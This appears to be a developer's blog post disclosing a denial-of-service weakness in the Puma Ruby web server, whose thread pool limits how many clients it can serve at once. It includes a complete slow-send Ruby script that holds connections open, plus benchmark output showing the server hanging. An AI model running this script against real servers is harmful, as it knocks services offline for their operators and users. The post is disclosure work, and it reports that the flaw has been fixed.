Puma and the light [Friday, 2012-07-20]
Today after I finished wrapping up barlume I started thinking about the next steps.
At first I thought about writing a reactor with it and adding a compatibility layer to make it work like EventMachine (and it will be done), but then I thought about Puma.
Puma is a very awesome Ruby web server, I really like what it tries to achieve and by reading the homepage it seems really performant.
So I started digging around the source to see where I could improve its performances and
after seeing the orror of IO.select
usage (which isn’t that bad for how they use it) I
noticed how it handled connections and requests.
@thread_pool = ThreadPool.new(@min_threads, @max_threads) do |client, env|
process_client(client, env)
end
When it starts it creates a ThreadPool
, the default minimum is 0 the default maximum is 16,
after reading more of it, specifically that process_client
function I realized something else:
it can only handle maximum threads clients at a time.
What are the consequences of this sad realization? The consequences are that this simple script makes puma completely unresponsive:
#! /usr/bin/env ruby
# encoding: utf-8
require 'socket'
require 'barlume'
require 'optparse'
options = {}
OptionParser.new do |o|
options[:host] = 'localhost'
options[:port] = 9292
options[:threads] = 16
options[:content] = "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n"
options[:sleep] = 1
o.on '-h', '--host host', 'the host of the server' do |value|
options[:host] = value
end
o.on '-p', '--port port', Integer, 'the port of the server' do |value|
options[:port] = value
end
o.on '-t', '--threads [MAX_THREADS]', Integer,
'the max amount of threads on the server' do |value|
options[:threads] = value
end
o.on '-c', '--content CONTENT', 'the string to send' do |value|
options[:content] = value
end
o.on '-s', '--sleep SECONDS', Float,
'the time to sleep before sending every character' do |value|
options[:sleep] = value
end
end.parse!
class Slowpoke < Barlume::Lucciola
def initialize (socket, message)
super(socket)
@message = message
@offset = 0
end
def send_next
return if done?
write_nonblock @message[@offset]
@offset += 1
rescue Errno::EAGAIN, Errno::EWOULDBLOCK
end
def done?
@offset >= @message.length
end
end
lantern = Barlume::Lanterna.best
options[:threads].times {
lantern << Slowpoke.new(TCPSocket.new(
options[:host], options[:port]), options[:content])
}
puts "oh noes, a wall on my path D:"
until lantern.all?(&:done?)
lantern.writable.each {|s|
s.send_next
}
sleep options[:sleep]
end
puts "oh, there's a door ( ・ ◡◡・)"
I ran that script on a simple sinatra application and prepared to run ab
to see
how it handled everything, this was the result:
Benchmarking 127.0.0.1 (be patient)...apr_poll: The timeout specified has expired (70007)
It dies.
When the slowpokes are done everything restarts working properly.
So, what’s next about all of this? I’ll try to write a patch to make it use barlume and keep it as concurrent as before.
In the meantime I’d suggest to not use it in production or at least with other external measures to avoid that kind of attack.
EDIT: it has been fixed with 6777c77.